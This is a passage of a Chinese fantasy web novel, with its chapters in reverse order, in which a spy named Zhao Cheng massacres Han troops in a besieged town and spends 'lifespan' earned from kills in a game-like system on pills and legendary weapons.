此时你发现任脉总督统领全身上下近半经脉,任脉之中存储的元气可以流转到全身上下,但最终还是会回到任脉之中……】
……
【第一百二十年,继任脉之后,你背后中线的督脉也终于被你填满,任督二脉贯通!
此时你元气运转速度变得极快,一息之间,元气可以达到全身上下任何一个部位……】
……
【第一百八十年,在不断的呼吸吐纳中,与任督二脉同出一源的冲脉被你填满,你的气血再次得到元气蕴养,气血如龙翻涌,力量再次大增!】
……
【第二百四十年,元气盈满环腰带脉,你体内的元气存储变得十分稳固。
原本就非常缓慢的元气流逝速度,再次减缓许多倍,如今你就算停止吐纳,一身元气也能存蓄几十上百年。】
……
【第二百八十年,元气在颈部分支流入,经胸腹部另一条经脉,贯通大腿内侧经脉,而后渐渐盈满至小腿内侧,盈满了阴维脉,你的元气流转速度再次增加……】
……
【第三百二十年,元气自颈部督脉分支流入,贯通肩肋,至小腿外侧,盈满阳维脉,元气流转速度再次增加……】
……
【第四百年,任督二脉连至足跟内外的阴跷脉与阳跷脉接连贯通,元气盈满你的奇经八脉,数之不尽的天地元气流转在你的八脉之中,元气流转速度翻了数倍……
至此体内八脉如同主干,十二正经如同枝条,而筋骨血肉则为叶子,元气运转之中,自然而然地流淌辐射到你的筋骨血肉之间,你的一举一动都有大量元气支撑……】
……
【第四百一十年,元气开始飞快淬炼开拓你的经脉,同时,这些元气在完整贯通八脉之后,每次运转一个循环,就会凝练一点……】
……
【第四百九十五年,经过数百年的元气淬炼,你的经脉开阔通达,坚韧无比,你元气淬体终于圆满,突破元气淬体大关!】
【基础炼体功大圆满,本次寿命修炼结束。】
【你的寿命增加三百年。】
“咦?不到五百年就圆满了。”
赵诚一愣,心情有些复杂,“这洗髓丹果然不凡,确实值得起万年寿命。”
“四百九十五年,盈满全身奇经八脉,突破元气淬体!要不是这枚洗髓丹,不知道要多少万年才能淬体圆满……”
如此想着,体内元气已经开始汹涌如潮,如同大海倒灌一样,瞬间冲灌入赵诚的八条大脉之中。
与此同时,经脉在飞快变得宽阔坚韧,如果说之前赵诚的经脉只是羊肠小路,就算通畅了,元气运行速度也快不起来的话。
那么现在,就是能供八辆马车并行的宽阔大道,再多的元气涌入,也不会有丝毫拥挤,宽阔通达至极。
一息之间,无尽元气可自全身上下流转一个周天。
而且,现在他一次吐纳,已经比之前上百次吐纳吸收的元气更多!
元气凝练的程度,也是之前的三倍有余。
这些元气存蓄在奇经八脉之中,循环往复的运转。
每一次运转,都会经十二正经流入全身每一个角落,而后逸散到血肉筋骨之间,蕴养体魄,提供能量。
现在的赵诚,只以血肉骨骼之中的元气含量来说,比之前没有开脉的时候,还要更胜一筹。
但与之前不同的是,现在血肉筋骨之中的元气,可以随便消耗。
因为每一次消耗,八脉之中的元气就会瞬间将其补充完全,而不需要他再次吐纳,从天地之间去吸取。
“不知道是洗经伐髓的缘故,还是大脉贯通的缘故,我好像可以引导控制元气的流向了。”
赵诚感受着体内汹涌运转的元气,心念一动,一大股元气瞬间涌入手臂之中,让赵诚手臂充满了无尽的爆发力。
这力量不吐不快,他一拳打出。
轰!
一声音爆爆发开来,响彻方圆数里。
周围民房之中顿时传来鸡飞狗跳的声音,冯全和封若更是一脸惊慌的窜了出来,脸上带着无比的警惕。
“怎么回事?”
“大人,你没事吧?”
赵诚愕然地看着自己的手臂,挥了挥手,“无事,你们再休息一会,天微亮咱们就出城。”
冯全和封若犹自不放心,一直在观察四周,“刚才那是什么声音?”
“好像是山体崩塌?”
“莫不是地龙翻身?”
赵诚哭笑不得,这元气爆发威力之大,属实惊人,竟然让冯全都误以为是地震了。
也幸好淬体圆满,他的筋骨经脉经过元气淬炼之后,已经能够承受如此爆发,甚至还能承受更多。
不然若是以之前的身体强度,这一爆,他的手臂恐怕都要肌肉撕裂,筋骨受损。
赵诚敷衍道,“哪有什么的龙翻身,可能是敌军在搞什么东西吧?”
冯全狐疑地看着赵诚,他觉得刚才那声音太近了。
不过仔细观察四周,又听了一阵,却也没有发现什么异常,只好狐疑地去收拾东西。
赵诚站在院落之中,没有继续推演。
而是仔细琢磨起来。
“元气淬体已经是基础炼体功最后一个境界了,要想继续修炼,恐怕要推演出一个新的功法才行。”
“可惜我对于经脉窍穴之类的东西一窍不通,需要补全这方面的知识,不然全靠摸索,收效甚微。”
“就目前的情况来看,接下来能够精进的方向,就只有一个了,那就是通过元气运转,让元气不断凝练,凝练之后再补全,补全之后再凝练,直至凝无可凝。”
“这样一来,元气的质量就会不断地提升。”
“除此之外,关于窍穴方面的东西,基础炼体功是一点没有,恐怕窍穴也是一个突破方向。”
“可惜直到淬体圆满,我也没有感应到窍穴的存在。”
赵诚有些遗憾,不过炼体功毕竟只是炼体的功夫,非常基础。
而他现在所触及的,已经相当于练气修仙了,炼体功没有接下来的内容,倒也算是正常。
好在,以他现在的实力,攻城拔寨,破敌擒将,都会游刃有余,倒也不急着修炼后面的东西。
此时,冯全封若都已经整理完毕。
赵诚带着两人向着城北而去。
一路上,城中氛围凝重如水,连街上都看不到几个人。
偶然有几个路人打水买米,那也是神色慌张,面色恐惧,脚步匆匆。
街上更是有大量兵卒在巡逻搜查,见到赵诚三人面色如常,兵卒们立刻觉得古怪,上前将三人拦下。
“你们三个,做什么的?”
冯全说道,“我等要出城打猎砍柴,这位军爷,今天这是怎么了,路上都看不到几个人,气氛也是古怪。”
兵卒狐疑地看了看三人,“你们不知道?”
冯全演技也不差,无辜道,“发生了何事?”
兵卒说道,“昨日有贼人入城作乱,杀了很多百姓,许多百姓都受到了惊吓,更是惊动了将军,将军命我们严防死守,不让出城。”
“我看你们三人有些古怪,这事城中都传开了,你们怎么会不知道?”
封若连说道,“我们三人住得偏僻,在东南一角,平常与周围邻居往来不多……”
兵卒一摆手,“少废话,随我去见大人,大人问话过后再说其他!”
第33章 洗经伐髓,元气入脉
干将莫邪、纯钧湛卢、鱼肠割鹿、巨阙轩辕、龙泉太阿、青龙偃月,方天画戟……
一柄柄神兵在系统之中散发着湛湛金光,昭示着神兵的品阶。
那堪称艺术品的形制,完美至极的细腻纹路,兵器本身蕴含的某种特殊气息,看得赵诚是阵阵眼馋。
尤其是那方天画戟和青龙偃月!
越看越是合他心意,恨不得现在就锻造出来握在手中放肆挥舞一番。
奈何锻造一柄神兵,需要寿命十万,他寿命积累不够,只能隔着系统欣赏神兵细节,以此望梅止渴。
“方天画戟啊……”
只见那方天画戟三锋两刃,戟杆如龙,吞口如虎。
月牙寒刃流云纹,暗嵌星芒,映日则金辉流转,遇月则冷光凝霜。
环系雪练流苏,芯贯镔铁龙骨,外刻千层叠浪,尾吞黑金虎首。
全器合一丈二尺,竖之如天柱擎霄,横之若银河落野。
端的是铁骨霜姿,鬼斧神工!
再看那青龙偃月刀,若残阳偃月,龙首撑天!
刀身如大月横天,刃薄似霜,映光可见青气流转。
刀头如苍龙昂首,双角撑天,吞口衔珠,珠中隐现光弧,恍若云雷。
柄身通体刻青龙腾云纹,护手为八瓣金莲,鎏金嵌翠,尾鐏作龙尾倒钩,可拄地成桩。
全器合九尺五寸,横挥如青龙摆尾,竖劈似泰山压顶。
端的是威镇乾坤,气吞万里!
看得赵诚是心头暗恨,怎么可以这么贵!?
万年的宝戟尚且买不起,十万年的方天画戟要何时才能锻造?
他望月长叹,干脆不再去看。
想来想去,打算之后消耗千年寿命,兑换一把精铸大戟,以此冲敌破阵。
以他的霸道力量来说,这种兵器太适合他了。
有大戟在手,于军阵之中就更是所向睥睨,一挥之间,可破千军!
“可惜眼下这种情况,大戟太过扎眼,也不方便携带和城中作战,就先不锻造了。”
“而且现在攻城作战居多,两军冲阵的机会很少,用剑也确实更方便一点。”
“那就等明日破城时,先兑换一把精铸长剑吧。”
想着,赵诚点开了系统的寿命凝丹功能,看了看洗髓丹,选择了凝练。
【消耗一万年寿命,凝练洗髓丹成功!是否现在领取?】
“领取。”
一枚散发着至极香气的丹药落入到赵诚手中,这丹药看着实在不像是丹药,反倒像是个玉丸,晶莹剔透的。
赵诚没有多做欣赏,将这枚洗髓丹直接丢到了嘴里,吞了下去。
丹药入口即化,转眼之间,化作一丝丝清凉,融入赵诚的四肢百骸。
紧接着,赵诚浑身上下多处经络和骨头深处,开始传来极致的麻痒之感。
这种感觉在无比难受之间,又有无尽舒爽传到灵魂深处,让赵诚不由得钻进了拳头,咬紧了牙关,才没有发出某种声音出来。
随着药力覆盖,赵诚身体之中翻天覆地的变化着。
之前被他偶然破开的一角经脉,那个缺口在飞快的变大。
就像是坚冰遇到了暖阳,开始融化。
从原本的半个指甲盖大小,在几息之内,就变做了一个指甲盖大小。
而后开始顺着经脉蔓延,自胸腹正中,向着上下通开。
每每开通一角,就有大片大片的天地元气涌入其中。
原本一整条手臂存蓄的天地元气,却能够被手指长短的经脉所存蓄。
而这种洗练开通的势头越来越快,全身上下同时发生。
每处经脉都开始松动,而后渐渐融开一角,开始向着两边蔓延。
每有一处经脉通开,经脉所处部位存蓄的大量天地元气便会蜂拥而入,存蓄在经脉之中。
当赵诚胸腹处完全通开之时,全身上下的天地元气都已涌入各处经脉之中,再无其他天地元气存蓄于身躯之内。
又过了没多久,胸腹处的大的经脉开始与其他部位连通到了一起。
在这一刻,无比通畅的感觉传来,就像是堵了多年的淤泥被冲开,又像是感冒许久的鼻塞突然开始治愈。
大量的杂质糟粕开始顺着赵诚的皮肤,随着吐纳和元气的流转排出体外。
就连骨头之中,都在向外面排出什么东西,其中的难受和舒爽难以言说,让赵诚甚至想要掰开骨头揉一揉自己的骨髓。
全身上下的天地元气,好像是放开了某种束缚一般,欢呼雀跃地顺着经脉往复游动,一边淬炼着经脉,一边凝练着自身。
赵诚的经脉在不断变得坚韧开阔,同时经脉内的天地元气也在不断地凝练,只是这种凝练的幅度非常的轻微,几乎微不可查……
……
在赵诚洗经伐髓,脱胎换骨之时。
叶县城中,守将韩江听着手下的汇报,眼前一黑,直挺挺向着地上栽去。
“将军!!”
手下人连忙上前将韩江扶住,这才没有让他撞个头破血流。
但即使如此,韩江依然是头昏眼花,只觉得眼前天旋地转,眼前阵阵发黑。
一口郁郁之气横在胸口,吐不出来,咽不下去!
他脸色铁青,颤抖着手指着文茂,嘴张得很大,却一个字都没能吐出来。
“将军息怒!”
文茂跪在地上双眼发红,他也觉得委屈,那他娘的哪里是什么间子,完全是个煞神啊!
“秦军定然是用了什么妖法,我怀疑可能是传说中的方士或者某种诡异的祝由之术!”
“一开始,都双的部下逃窜,和我们说那家伙刀枪不入水火不侵我们还不信,结果一通乱战,我等近两千人将其围在小巷之中。”
“麾下军卒血勇向前,前赴后继,没有后退,但是始终没有拿下那凶人。”
“属下一开始还只当那人体力很好,剑法高绝,但是不过一刻的功夫,我麾下士兵越来越少,竟然被他在短短时间内斩杀了近千人!”
“死伤过半,我军没有后退,但那人如此诡异,麾下士兵早已经没了斗志。”
“再不回来,我们恐怕会全军覆没啊!!”
文茂面色悲愤,说得情真意切。
但韩江听着听着,突然面色一红,喷出一口老血!
这口血吐出来,他终于好过起来了,感觉一口气奔涌上来,立刻怒声嘶吼。
“给本将把他斩了!!”
“斩了!!”
文茂脸色复杂,想起之前自己面对逃兵时候所说的话,不由得苦笑起来。
原来如此。
不怪我不信啊。
将军听了,他也不信啊!
死便死吧,早死晚死又有什么区别?
有那煞神在,这叶城要不了多久肯定是会被破的,到时候秦军入城,也不会放过自己。
只是可惜,没有死在杀敌的战场上,反而死在了这种情况下。
长剑斩下之际,文茂突然笑了。
嘿,下去见了都双,也算是有伴。
还要给他赔个不是,之前是自己误会他了,他若是熊将,那我更是熊将。
喔,等将军下来了,不知道会不会给自己也赔个不是,说句误会自己了……
嗤!
头颅飞起。
文茂以玩忽职守,扰乱军心论处。
死于城墙之上,军阵之前。
以儆效尤。
看着文茂倒地,韩江只觉得浑身无力,软软坐在女墙之下,有气无力地摆了摆手。
“再来人,领兵,去官署看看,粮草还能够救下来多少?”
哀莫大于心死。
他现在是心灰意冷,恨不得自己现在就打开城墙,放秦军入城,和这群废物一起死了算了。
领着这群人打仗,还他娘的不如投降!
一刻不到,突然有奔马匆匆赶回。
一骑面带喜色,还没到城下,就大叫报喜。
“将军,喜讯啊!”
韩江有气无力地抬了抬眼皮,事已至此,还能有什么喜讯?
却见那报信的骑卒翻身下马,眉飞色舞道,“那秦军间子蠢笨如猪!竟然分不清楚县治和仓储,只匆忙烧了县治就已离开,仓储粮草完好无损,安然无恙!”
听到这话,原本软趴趴坐在地上的韩江就像是打了鸡血一样,腾地一下站起,眼中也有了光彩。
“哈!”
他大笑一声,又忍不住畅快,继续笑道,“哈哈哈哈哈!”
“好一个蠢笨如猪的间子,竟然连仓储和县治都分不清楚,定是看到我军围杀,心中慌乱,匆匆烧了县治就跑。”
“如此蠢货,也能让文茂都双大败而归?可见他们二人如何无能!”
笑着,韩江进了简陋的城楼之中,并让报信的属下也进来。
来骑进来后欲言又止。
得到韩江眼神示意后,才说道,“将军,我们调查了城中战场,我军死伤确实惨重,且一路尸首中箭者,全都是一箭封喉!”
“而就在城西深巷之中,有我军尸首堆积如山,血流成河,死者尽皆一剑枭首,身上没有第二处伤势。”
“看战场痕迹,对方也确实只有一人。”
“此人当真可怖,文茂将军说的,好似也有几分为真。”
“属下认为,此人武力超群,将军万万小心。”
他越说,韩江脸色越是凝重。
能做守将,更临时被派来守卫叶县,他自然不蠢,当然知道敌方那间子武力超群。
但是他无法接受都双和文茂统领总计三千多兵力,却拿不下一个敌军间子。
更不能让他们在此扰乱军心,若是不斩文茂,军心必然更加惶乱,那才是更大的麻烦。
韩江叹了口气说道,“我自然知晓……”
“此人箭术出神入化,孤身转战四处,游击突围许久,体力不竭,更是摸入了官署,斩了县尉,烧了县治,杀怕了都双一部,可见武力不俗。”
“可就算是武力再强者,也怕强军围杀。”
“文茂面对如此凶人,竟然将战场定在暗巷之中,何其轻敌,何其愚蠢?”
“暗巷之中视野昏暗,无法把握战场情况,及时进行调整,导致部下死伤过半他才后知后觉。”
“且巷内狭窄,一夫当关万夫莫开,那凶人有此勇力,自然更擅长在这种地方作战。”
“文茂带了两千兵力,在这种地方却发挥不出一成来,打出如此大败,难道不该斩吗?”
“他们都是我带出来的,能力如何我不说全知,至少也知道个大概。”
“若是寻常间子,他们怎么可能拿不下?”
韩江再次叹了口气,“罢了,粮草还在,已是万幸。”
“连夜搜查全城,趁着他疲惫之机,把他找出来杀了,不能让他把城中情报传递出去,更不能让他再次制造混乱。”
“好在那人神勇有余,智谋不足,粮草都能烧错,倒也做不成什么大事……”
第32章 封喉剑法,寿命锻兵
“啊……”
惊呼声中。
堆在小巷口的韩军们惊恐万状轰然后退,呈一个半圆形迅速四散开来。
小巷之中的赵诚裹着腥风缓步走出,背后便是尸山血海。
他每进一步,所有韩军就后退两步。
双方之间隔着一个巨大的半圆,在迅速地扩散开来。
文茂站在后方失魂地看着这一切。
突然惊醒般的浑身一震,发现自己带来的两千兵马,已经去了大半,竟然只剩下了六七百人。
周围都显得空荡了许多。
他咽了咽口水,无比紧张地看着那道身影。
眼见他向外走来,一股致命的危机感当头笼罩下来,死亡的气息瞬间让他感到窒息,于是转身就跑。
“撤!快撤!让将军调大军前来围剿!”
看到文茂都一马当先地逃了,韩军也随之溃逃。
他们跑得极快、极仓促也极狼狈,完全没有意识到,就在不久之前,他们还就此嗤笑叱骂那些巡夜卒。
而现在的他们,与那些逃兵并无不同,甚至犹有过之。
远处,有之前的逃兵看到这一幕,也是头也不回的转身就跑。
他们占据有利位置,跑得比前面的人更远些。
一边跑还一边骂道,“我他娘的就知道!”
“狗屁的守城军,遇上这煞神,谁来也不行!”
“有本事你们他娘的倒是别跑啊!”
赵诚追杀而去,自逃兵后方杀入,又是斩杀近百人,吓得上千人哭爹喊娘,拼命逃窜。
直到快要逃入城下大营,死亡的声音才渐渐消失。
再回头时,赵诚已经抽身退去,悄无声息融入黑暗之中。
所有逃兵立刻坐在地上,劫后余生的感觉让他们有些虚脱。
另一边。
赵诚大摇大摆回到官署,跳入官署的储水井,清洗去了一身血污。
再爬上来时,浑身清爽,又变成了那个城中猎户。
这猎户轻车熟路跑到县所的厨舍之中,提出仅存的两个新鲜野獐子,和一坛封酒。
又去府库里面把为数不多的肉脯全都打了包,这才拎着满满当当的布包离开了官署。
凉风有信,秋月无边。
迎着夜风,他喝着酒,悠悠然漫步在城中,去往东南民宅。
如今城中巡夜卒和守城卒都被他吓破了胆子,缩到城墙下的大营里面去了。
满城竟然连一点防守都没有,走在街上空空荡荡,真是无人之境。
惬意之际,赵诚打开系统看了一眼。
【你通过杀敌,摸索出了一门杀人剑法,请为剑法命名。】
赵诚想了想,如此短兵相接,见血封喉的剑法,“不如,就叫封喉吧。”
一剑封喉,以剑封侯。
就叫封喉剑。
【封喉剑法入门。】
【封喉剑法小成。】
“咦?刚刚入门就小成了,看来之前大量杀敌之下,剑法精进很快。”
“回去再推演一下,看看不杀敌的情况下修炼封喉剑法有没有效果。”
“反正杀了一夜,寿命也该积累很多了。”
“至少洗髓丹肯定是有了。”
赵诚向着系统之中寿命一栏看去,露出笑容来。
【当前剩余寿命:18564年】
【寿命总量突破万年,解锁寿命锻兵功能!】
“咦,不但洗髓丹有了,系统还解锁了新功能,这波很赚,当死间真好啊……”
赵诚有点喜欢上当间子的感觉了。
深入敌后,为所欲为。
不但能杀个痛快,还能改善伙食。
他掂了掂肩上的肉脯和獐子,高兴地踏入民宅,冯全和封若早已经等候在院子里面,见到他立刻上前来。
“大人,你没事吧?”
“能有什么事?”赵诚笑着将包里的獐子和肉脯丢给冯全,“满载而归!咱们改善伙食!”
冯全封若见赵诚洒然如常,浑身上下不见半点伤势,双眸之中更是神采奕奕,行止之间生龙活虎,那是全须全尾满载而归!
甚至还有余力想着给他们带肉吃。
一时之间,两人心中激荡,敬仰之情有若滔滔江水连绵不绝。
高山仰止,便如是哉?
“大人神威!”
他们二人提心吊胆地潜伏城中,对于城中闹出的天大动静不说一清二楚,那也是知道不少。
心知换做任何一个人来,已是九死一生,就算能活着回来,那也是丢了半条命,哪能像赵诚这般潇洒?
赵诚摆摆手,“把獐子处理了。”
冯全和封若立刻动手处理獐子,十分积极。
赵诚坐在民宅竹椅上面喝酒望月,“你们探查得如何?”
冯全说道,“城中守备虚实,墙基薄弱之处,都摸清楚了。”
赵诚点了点头,“那就好,明日就可传信将军破城了。”
冯全封若一惊,“明日,这么快?”
赵诚奇道,“这还快?”
不说其他,就以他现在的水准,强攻之下,从内部破开城门也算不上什么太难的事情。
不过,就算破开城门,攻城还是性价比很低的事情,秦军士卒伤亡绝不会小。
有损失更小的办法,就没必要大军强攻。
经过隘口一战,并肩作战的同袍死了几十个,赵诚早已明悟这点。
而且,大军入城还有可能直接把敌军吓投降,到那时可就没他什么事了。
“这……”
冯全有点不可思议。
赵诚说道,“你只管传递情报,顺便帮我把话带到就行了。”
“其他的,你不用管。”
冯全点头,“属下明白。”
赵诚高深莫测,低头朝着火上看了一眼,顿时坐不住了。
“快让到一边去,这肉让你烤的,我用脚烤得都比你好!”
“这獐子肉差点就让你烤坏了!”
赵诚亲自动手烤肉,冯全封若两人在一边眼巴巴地看着,感到有些惶恐。
封若鼓起勇气道,“大人,还是我来吧。”
赵诚斥道,“好好看好好学,下一次要是再烤得这么差,就砍了你们俩!”
两人愕然失语。
刀山火海都闯过来了,要是因为烤肉被砍了,该有多冤啊……
不过对于赵诚他们很是敬畏,于是非常认真地学习起来,渐渐发现了其中的门道,不由得暗暗点头。
直至獐子外焦里嫩,表皮金黄,滋滋冒油之时。
冯全和封若两人已经是连连吞咽口水,发自内心的赞叹。
“大人不愧是大人,连烤肉一道都如此精湛,简直无所不通。”
赵诚对于自己的烤肉技术很有些得意,被马屁拍到了点子上。
“哼哼,今天白天被那北城守军坑了我的野兔和獐子,导致我自己才吃了一口,你们两个也没有尝到。”
“今天晚上,算是讨回来了些许利息。”
他将烤獐子从火上挑起来,猎刀一甩,烤獐子已经分成了几部分。
三人就着酒,大快朵颐。
一顿肉吃得酣畅淋漓。
赵诚连吃了一头半烤獐子,又烤了些肉脯,感觉已经吃饱了。
自从元气淬体有成之后,他的饭量就不再像之前那么大了。
之前身体过于强大,全靠气血支撑,而气血又只能从食物之中凝练而来。
所以必须多吃,才能维持身体所需。
但现在,他通过呼吸吐纳,无时无刻不在吸收着天地元气,补充着体内运动所消耗的能量。
所以就算长时间不吃饭,也不会饥饿。
毕竟就算是两头烤獐子,比起一团天地元气来说,能量还是少得可怜。
“好了,你们去休息,明日还要早起上山。”
冯全封若两人休息去了。
赵诚则是回到房间,开始研究系统的新功能。
【寿命锻兵:消耗寿命锻造兵器武备。】
【可锻造兵器种类:刀枪剑戟斧钺钩叉……】
【可锻造兵器品阶:粗制、百炼、精铸、宝兵,神兵,灵兵……】
“这么多?”
赵诚直接看花了眼,光是兵器种类就包罗万象。
而再看品质,更是一长串。
到了灵兵后面,需要的寿命数目数都数不清,他干脆就不看了。
他大致看了一会,总算了解了个大概。
所谓【粗制】。
就是和寻常士兵所用兵器质量差不多,普通熟铁或青铜合金制成的兵器,具有一定的韧性和锋锐。
砍柴杀人还算可以,但是砍铁盔甲之类,用不了多久就会卷刃。
不过也相对便宜,只需要一年寿命就能锻造。
更高一级便是【百炼】。
这个品质的兵器,相当于工匠通过上百次的折叠锻打,不断祛除杂质,让兵器变得异常坚韧坚固,能砍断寻常士兵的兵器,但也会有所磨损。
一柄需要消耗十年寿命锻兵。
光是这一档,对赵诚就提升不小。
足够坚固,可以支撑他在战场上大量杀敌,而不需要时时更换兵器。
不过还有更好的【精铸】。
这个品质,已经算是匠心之作。
通过千锤百炼和精致淬火,让兵器无比坚固强韧的同时锋锐非常。
甚至可以做到吹毛断发,砍断青铜剑而无丝毫破损,切割生铁如切豆腐般顺滑。
这样一柄精铸,需要消耗千年寿命锻兵。
至于【宝兵】,顾名思义。
每一柄都称得上是百年难得一见的宝物。
其材质特殊,不是天外玄铁,便是海域陨铁,锻造配比也妙到绝颠。
每一把都可称匠师的毕生所作,是需要呕心沥血几十年才偶然铸成的兵器。
若是剑,则可称之为宝剑,若是刀,那就是宝刀。
就算是达官贵人也难得此剑,得到就会终身收藏。
万年寿命锻造一把,贵的发指。
【神兵】,耳熟能详。
干将莫邪、纯钧湛卢、鱼肠割鹿、巨阙轩辕、龙泉太阿、青龙偃月,方天画戟……
第31章 短兵相接,巷间围杀
校尉文茂领着两千人兵马,气势汹汹来围,迎面却撞上了亡命奔逃的上千士兵。
这些士兵一个个惊恐万状,气喘如牛,明显力竭却仍然亡命奔逃。
有的不小心摔倒,依然连滚带爬拼命向前。
更有甚者边跑边流淌屎尿,好似遭遇了什么莫大恐惧。
上千人一边跑,还一边鬼哭狼嚎,喊着什么煞星阎罗之类的怪话。
这场面既诡异又荒唐。
文茂顿时脸色难看到了极点,怒气腾腾上涌。
“真是将熊熊一窝!千余兵马竟然被一个敌军间子吓得狼狈溃逃,成什么样子,脸面都丢尽了!”
“都双何在!?出来领罚!”
来援的这些士兵,也是对着溃逃的巡夜营士兵耻笑不已。
“真是在城里面把人都呆废了,上千人竟然能让一个人给吓成这样。”
“呵,怪不得让他们来城内巡夜呢,这种胆色,要是上了城墙,看到无边无际的秦军还不得吓得跌下城墙去?”
“竟然还真有尿了裤子的,我韩人之中怎能有如此懦夫!简直耻辱!”
来援的士兵们面露不屑,看着溃逃的巡夜兵冷笑不已。
但溃逃的士兵们哪里还在乎这些,跑慢一点可就要死了,只顾逆着援军向后逃去。
有些好心的还在劝说援军。
“不要去了,会死的!快调大军来杀他!”
文茂真是怒极了,大喝一声,威严无比。
“都给我站住,谁再逃一步,立刻斩杀!”
他率领的部下立刻拔剑,剑刃出鞘的声音连成一片,杀气凛然之间,逃兵们果然不敢再跑,但却向着军阵靠拢,似乎这样能够找到一点安全感。
文茂再问,“都双何在!?”
有人回答,“都大人已经死了,被那煞神弄死了。”
文茂怒道,“什么狗屁煞神!给我好好说话!到底怎么回事?”
“敌方有几个人潜入进来了?”
逃兵中有百将回答道,“对方,只有一人,但是如同妖魔一般,根本杀不死,且箭术如神,箭出必杀。”
“他烧了官署,然后就一个人坐镇其中,我们数百弟兄攻入官署,全都死在了里面,都大人身先士卒,刚刚踏入官署,就死在了他的箭下。”
“哼!”文茂冷哼一声,“长他人志气,灭自己威风,你们是觉得把他吹嘘的唬人一些,自己就能少受罚了?”
“一群废物!!”
“要你们何用!?”
逃兵们不敢辩解,他们也很羞愧,但是更多的是恐惧。
就在这时,远处黑夜之中,传来霹雳般的弓弦炸响!
而后已经快要逃到军阵附近的逃兵末尾,顿时有四五人接连倒下,没了声息。
逃兵之中顿时有人抱头瑟缩,“他来了!他来了!!”
文茂大怒,“竖子怎敢嚣张至此!!!”
“军阵当前,竟然还敢当着我的面杀人,给我把他围了!”
“让这群巡夜的怂人,看看咱们守军的厉害!”
他的怒意似乎传染到了全军,两千兵马立刻汹涌上前,士气如虹!
远处民房屋顶之上。
赵诚站在黑夜之中,看着汹涌冲来的援军,笑了。
他眼中跳动着火光,默默拿出一块布将脸蒙上。
“那就,玩个痛快。”
他身上背负着五把强弓,腰间悬挂两筒箭矢,塞得满满当当。
在大军如潮水涌动过来的场景下,不慌不忙开弓搭箭。
从容却快速的不断射杀着敌军!
援军不断有人倒下,但却好似激发了血气一般,士气竟然不减反增。
不断有人大骂着,“狗杂种,有种你下来!”
“他娘的,别让老子逮到你,不然你要遭老罪了!”
“有种你别跑!”
赵诚行动敏捷,每每被围之前,总能突围而出。
一边如猎豹般游走在城中,一边不断开弓袭杀后面追来的守军。
箭筒在飞快的打空,而系统之中的寿命数目则是不断地跳涨着。
【当前剩余寿命:4865年】
【当前剩余寿命:5237年】
【当前剩余寿命:5596年】
……
文茂指挥着兵力,不断向前围杀,双方的战场从城北蔓延到城南。
一路上留下无数尸体,各个一箭封喉,绝没有第二箭插在身上。
文茂的脸色越来越凝重,额头渐渐溢出汗水。
这家伙怎么如此滑不留手!?
在这点上,那些逃兵倒是没有说错,这家伙确实算得上是箭术通神。
不过,他的箭又能用多久,如此高频射箭,臂力又能坚持多久?
反复观察之下,文茂发现,那家伙是依靠巡夜营士兵身上的弓箭补充才游战到现在的。
意识到这点之后,他立刻让手下士兵将弓箭卸下,并且将死去同袍的弓箭全部回收。
再让那些不敢在上前参战的逃兵,将这些弓箭全部运走。
如此一来,文茂胜券在握,“我倒要看看你无箭可用,还能坚持多久!”
“无箭可用,一个无甲之辈,还能冲杀两千甲士不成?”
赵诚身上的箭消耗速度极快,没了补充,很快就见了底。
不过凭借着那两筒箭和后续补充到的一些,他已经射杀了近四百人。
如今系统寿命也夺取到了六千七百多年。
勉强算是不亏。
再射出一箭,他一摸箭筒,已经是没有了箭矢。
于是伸了个懒腰,将最后一张硬弓和箭筒纷纷扔掉,活动了一下筋骨,发出鞭炮般的炸响。
精壮身躯之中元气涌动,无穷劲力如龙似虎。
“热身完毕,接下来来点真格的吧。”
下方疯狂追杀过来的守军还在叫骂着,想要刺激赵诚下来。
有眼神好使的,发现了赵诚扔掉了硬弓,不由得兴奋大笑起来。
“哈哈,他已经没有箭了,这下成了没牙的老虎!”
“小子你完了,等死吧你!”
“老子忍你很久了,有弓有箭你算个人物,没了弓箭你算个什么东西!?”
更有甚者,趁着赵诚活动身体的功夫,悄然爬上了矮墙,窜上了房顶,对着赵诚后背就是一剑砍去。
赵诚回身,夺剑伸腿一气呵成。
这一脚直接将这人踹出十几丈远,在空中划过一道圆满的弧线,落入了巷子里面,砸翻了好几个韩军,落地之时胸腹凹陷进去一大块,已经活不成了。
黑夜之中,韩军还没来得及看清楚情况,却见赵诚已经如同猛虎扑食一般,飞扑下来。
一刀下去,砍翻数人,密集的小巷里面为之一空。
这些韩军本就被赵诚拉扯的憋着一口气,终于见他下来,也顾不得许多,纷纷冲杀上来。
这正合赵诚心意。
如此巷战,短兵相接,不但能提高杀敌效率,还能磨炼杀人之技。
嗤嗤嗤!
赵诚的剑刃闪着寒光,如同四面飞花,精准击杀每一个靠近三步以内的韩兵。
他投入,沉浸,悠然。
在万军从中漫步,剑花带起血花,鲜红与寒光在黑暗之中不断乍现。
小巷之中的敌军不断被他杀出一片片的空白,又重新被不知情的韩军填满。
夜幕深沉,小巷之中更是幽深,许多韩军根本看不清楚里面具体的景象,只是凭着一股愤怒和血勇向前冲杀,而后死在赵诚的剑下。
赵诚的动作在变快,剑刃的弧度变得笔直而简略,朴实无华。
一开始还有人能够靠近他一步之内被斩杀。
渐渐地,靠近两步之内的,尽皆毙命。
到了后来,五步之内已成空档。
但凡有人踏入这个距离,赵诚的剑刃就像是长了眼睛一般出现在他的咽喉处。
刺穿,或者切开。
他向前走着,五步之内的敌军飞快的倒下。
六步。
七步……
他走的越来越快,周围的空档越来越大,不论身前还是身后,没有人能够靠近他。
只有鲜血不断地流淌着,盈满了小巷,洇红了土墙,向着外面涌去。
最先发现不对劲的,是在外面指挥,准备瓮中捉鳖的文茂。
里面的战斗声音逐渐平缓,因此他觉得不久便能拿下。
但是随着时间推移,但进入小巷的韩军却越来越多,那不过十几丈长的巷子,竟然好像无底洞一般,完全填不满!
而围堵在巷子外面的手下,却变得越来越少。
一股至极的惊悚感觉开始在他的心中涌现,而后渐渐变得汹涌,直至背后有冷汗沁出。
“怎么回事?”
“不对……不对!!”
“取火箭来。”
手下递上火箭,箭矢之上裹着油布,已经被点燃,文茂立刻向着小巷上空射去。
火箭自小巷上空一划而过,火光照亮了整个小巷,让埋头冲杀的韩军们看清了小巷之中的景象。
尸骨如山,血流成河。
无数同袍的尸身堆满了这狭窄的巷子,让这里如同地狱一般。
那让他们觉得拌脚的石头,分明是同袍的头颅!
而透过前面队友的缝隙,可以看到,一个又一个的队友在不断地倒下。
那“没了箭的神箭手”却宛若阎罗在世,已经从巷子深处快要杀到巷子口了。
